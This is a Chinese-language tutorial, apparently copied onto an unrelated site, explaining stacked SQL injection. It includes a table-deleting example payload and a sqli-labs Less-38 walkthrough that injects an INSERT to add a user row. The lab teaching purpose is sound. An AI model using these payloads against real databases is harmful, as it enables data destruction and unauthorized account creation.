SQL注入之堆叠注入(sql |
您所在的位置:网站首页 › inside第几关开始付费 › SQL注入之堆叠注入(sql |
什么是堆叠注入
在SQL中,分号(;)是用来表示一条SQL语句结束的。试想一下我们在分号结束一个SQL语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而堆叠注入可以执行的是任意语句(增删改查)。 例如以下这个例子: 用户输入:1; delete from products服务器端生成的SQL语句为:select * from products where productid=1; delete from products当执行查询之后,第一条显示查询信息,第二条则是将整个表删除。 适用条件 用户采用PDO编程( POD(PHP Data Object))且没有对参数进行过滤 mysqli_multi_query()函数也可以造成堆叠注入 1、找到注入点(确定是否存在堆叠注入) 2、开始注入 我们本次尝试的语句: 1’;insert into users(id,username,password) values(‘100’,‘abc’,‘abc’) --+ 这里以sql-lab第38关为例http://192.168.3.10/sqli/Less-38/?id=1——》有回显 http://192.168.3.10/sqli/Less-38/?id=1’ --+ ——》仍然有回显 基本可以判断它是一个字符型 在没有插入之前,利用phpstudy后台的命令行先查看表中有哪些数据 尝试堆叠注入: http://192.168.3.10/sqli/Less-38/?id=1’;insert into users(id,username,password) values(‘10000’,‘abcd’,‘abcd’) --+ 插入后再查看一下:发现插入了id=10000的数据 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |